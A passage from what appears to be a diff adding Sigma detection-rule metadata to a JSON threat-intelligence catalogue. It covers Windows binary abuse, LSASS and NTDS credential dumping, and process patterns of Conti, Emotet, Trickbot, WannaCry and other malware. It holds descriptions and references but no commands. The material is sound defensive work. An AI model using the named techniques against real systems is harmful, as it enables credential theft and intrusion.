pnputil.exe lolbin", + "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", + "value": "Suspicious Driver Install by pnputil.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", + "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", + "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Pnputil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of of Dxcap.exe", + "uuid": "60f16a96-db70-42eb-8f76-16763e333590", + "value": "Application Whitelisting Bypass via Dxcap.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", + "https://twitter.com/harr0ey/status/992008180904419328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_lolbin_susp_dxcap.yml", + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Legitimate execution of dxcap.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", + "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", + "value": "Suspicious GrpConv Execution", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1526833181831200770", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2022/05/19", + "filename": "proc_creation_win_lolbin_susp_grpconv.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the use of Windows Defender to download payloads", + "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", + "value": "Windows Defender Download Activity", + "meta": { + "refs": [ + "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", + "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/09/04", + "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", + "author": "Matthew Matchen", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process dump via legitimate sqldumper.exe binary", + "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", + "value": "Dumping Process via Sqldumper.exe", + "meta": { + "refs": [ + "https://twitter.com/countuponsec/status/910977826853068800", + "https://twitter.com/countuponsec/status/910969424215232518", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", + "author": "Kirill Kiryanov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate MSSQL Server actions" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", + "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", + "value": "WSL Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", + "https://twitter.com/nas_bench/status/1535431474429808642", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_lolbin_susp_wsl.yml", + "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Automation and orchestration scripts may use this method execute scripts etc", + "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", + "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", + "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", + "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", + "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1216" + ], + "creation_date": "2021/07/16", + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", + "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", + "value": "Use of TTDInject.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_ttdinject.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", + "value": "Time Travel Debugging Utility Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", + "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", + "value": "UtilityFunctions.ps1 Proxy Dll", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/28", + "filename": "proc_creation_win_lolbin_utilityfunctions.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", + "value": "Use of VisualUiaVerifyNative.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", + "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate testing of Microsoft UI parts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", + "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", + "value": "Visual Basic Command Line Compiler Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Vbc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Utilization of this tool should not be seen in enterprise environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", + "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", + "value": "Use of VSIISExeLauncher.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", + "value": "Use of Wfc.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_lolbin_wfc.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate use by a software developer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", + "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", + "value": "Winword LOLBIN Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", + "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/05/17", + "filename": "proc_creation_win_lolbin_winword.yml", + "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", + "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", + "value": "Wlrmdr Lolbin Use as Launcher", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/02/16", + "filename": "proc_creation_win_lolbin_wlrmdr.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Too long PowerShell command lines", + "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", + "value": "Too Long PowerShell Commandlines", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_long_powershell_commandline.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", + "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", + "value": "LSASS Memory Dumping", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", + "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_lsass_dump.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", + "value": "Suspicious PowerShell Mailbox Export to Share", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2021/08/07", + "filename": "proc_creation_win_mailboxexport_share.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to find volume shadow backups", + "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", + "value": "Conti Volume Shadow Listing", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to exfiltrate NTDS", + "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", + "value": "Conti NTDS Exfiltration Command", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti_7zip.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command that accesses password storing registry hives via volume shadow backups", + "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", + "value": "Sensitive Registry Access via Volume Shadow Copy", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti_shadowcopy.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Some rare backup scenarios" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects typical Dridex process patterns", + "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", + "value": "Dridex Process Pattern", + "meta": { + "refs": [ + "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.discovery", + "attack.t1135", + "attack.t1033" + ], + "creation_date": "2019/01/10", + "filename": "proc_creation_win_malware_dridex.yml", + "author": "Florian Roth, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as seen in DTRACK infections", + "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", + "value": "DTRACK Process Creation", + "meta": { + "refs": [ + "https://securelist.com/my-name-is-dtrack/93338/", + "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", + "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_malware_dtrack.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects all Emotet like process executions that are not covered by the more generic rules", + "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", + "value": "Emotet Process Creation", + "meta": { + "refs": [ + "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", + "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", + "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", + "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/09/30", + "filename": "proc_creation_win_malware_emotet.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", + "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", + "value": "Formbook Process Creation", + "meta": { + "refs": [ + "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", + "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", + "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", + "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2019/09/30", + "filename": "proc_creation_win_malware_formbook.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", + "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", + "value": "NotPetya Ransomware Activity", + "meta": { + "refs": [ + "https://securelist.com/schroedingers-petya/78870/", + "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.t1070.001", + "attack.credential_access", + "attack.t1003.001", + "car.2016-04-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_notpetya.yml", + "author": "Florian Roth, Tom Ueltschi", + "level": "critical", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects QBot like process executions", + "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", + "value": "QBot Process Creation", + "meta": { + "refs": [ + "https://twitter.com/killamjr/status/1179034907932315648", + "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2019/10/01", + "filename": "proc_creation_win_malware_qbot.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Ryuk ransomware activity", + "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", + "value": "Ryuk Ransomware", + "meta": { + "refs": [ + "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/12/16", + "filename": "proc_creation_win_malware_ryuk.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wscript/cscript executions of scripts located in user directories", + "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", + "value": "WScript or CScript Dropper", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_script_dropper.yml", + "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Winzip", + "Other self-extractors" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", + "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", + "value": "Trickbot Malware Recon Activity", + "meta": { + "refs": [ + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2019/12/28", + "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", + "author": "David Burkett, Florian Roth", + "level": "critical", + "falsepositive": [ + "Rare System Admin Activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", + "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", + "value": "Trickbot Malware Activity", + "meta": { + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559" + ], + "creation_date": "2020/11/26", + "filename": "proc_creation_win_malware_trickbot_wermgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WannaCry ransomware activity", + "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", + "value": "WannaCry Ransomware", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "attack.discovery", + "attack.t1083", + "attack.defense_evasion", + "attack.t1222.001", + "attack.impact", + "attack.t1486", + "attack.t1490" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_wannacry.yml", + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "proc_creation_win_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, 